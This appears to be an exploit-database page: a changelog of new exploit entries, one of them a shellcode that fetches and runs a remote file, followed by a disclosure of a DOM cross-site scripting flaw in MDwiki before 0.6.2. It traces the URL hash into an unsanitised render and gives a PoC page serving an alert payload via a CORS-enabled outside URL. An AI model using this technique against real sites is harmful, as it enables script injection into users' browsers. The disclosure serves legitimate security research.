c2a1585898
10 changes to exploits/shellcodes Google Chrome V8 JavaScript Engine 71.0.3578.98 - Out-of-Memory. Denial of Service (PoC) Microsoft Office SharePoint Server 2016 - Denial of Service (Metasploit) polkit - Temporary auth Hijacking via PID Reuse and Non-atomic Fork Microsoft Windows - Windows Error Reporting Local Privilege Escalation Microsoft Windows - DSSVC CheckFilePermission Arbitrary File Deletion MDwiki < 0.6.2 - Cross-Site Scripting Heatmiser Wifi Thermostat 1.7 - Cross-Site Request Forgery (Update Admin) ZTE MF65 BD_HDV6MF65V1.0.0B05 - Cross-Site Scripting BlogEngine 3.3 - XML External Entity Injection Linux/x86 - wget chmod execute over execve /bin/sh -c Shellcode (119 bytes)
2.4 KiB
Originally thought that only a problem with Tencent's site implementation, the black brother reminded me to look at the Github address in the source code, only to find the open source MDwiki universal system. (MDwiki is a wiki/CMS system built entirely on HTML5/Javascript technology and runs entirely on the client. No special server software is required, just upload mdwiki.html to the directory where you store the markdown files.) The problem occurs when the program gets the location The .hash value (normally test.md) is parsed and the ajax request is dynamically added to the page.
MDwiki.min.js
Decompressing the compressed JavaScript is easy to debug, and the confusion variable is temporarily ignored, n() :
function n() {
var b;
b = window.location.hash.substring(window.location.hash.startsWith("#!") ? 2 : 1), b = decodeURIComponent(b);
var c = b.indexOf("#"); - 1 !== c ? (a.md.inPageAnchor = b.substring(c + 1), a.md.mainHref = b.substring(0, c)) : a.md.mainHref = b
}
The variable b gets the value after location.hash #! and URLDecode , which is then assigned to a.md.mainHref .
ajax getURL
var d = {
url: a.md.mainHref,
dataType: "text"
};
a.ajax(d).done(function (a) {
b = a, c()
}).fail(function () {
var b = a.md.getLogger();
b.fatal("Could not get " + a.md.mainHref), c()
})
The content will be requested by a.md.mainHref, and the b variable will be a:page content after completion.
var e = d(b);
a("#md-content").html(e), b = "";
var g = a.Deferred();
f(g), g.always(function () {
c()
})
e = d(b), b requires equal to Payload, chase d function:
function d(b) {
var c = {
gfm: !0,
tables: !0,
breaks: !0
};
"original" === a.md.config.lineBreaks ? c.breaks = !1 : "gfm" === a.md.config.lineBreaks && (c.breaks = !0), marked.setOptions(c);
var d = marked(b);
return d
}
The e value is dynamically added to #md-content after being rendered by the d function –> marked(b) function, causing a vulnerability.
PoC
We can construct a page to write to Payload and set the ACCESS-CONTROL-ALLOW-ORIGIN header:
cat test/mdwiki.php
<?php
header("ACCESS-CONTROL-ALLOW-ORIGIN:*");
?>
<script>alert(location.href)</script>
eg: http://dynalon.github.io/mdwiki/mdwiki.html#!http://server.n0tr00t.com/test/mdwiki.php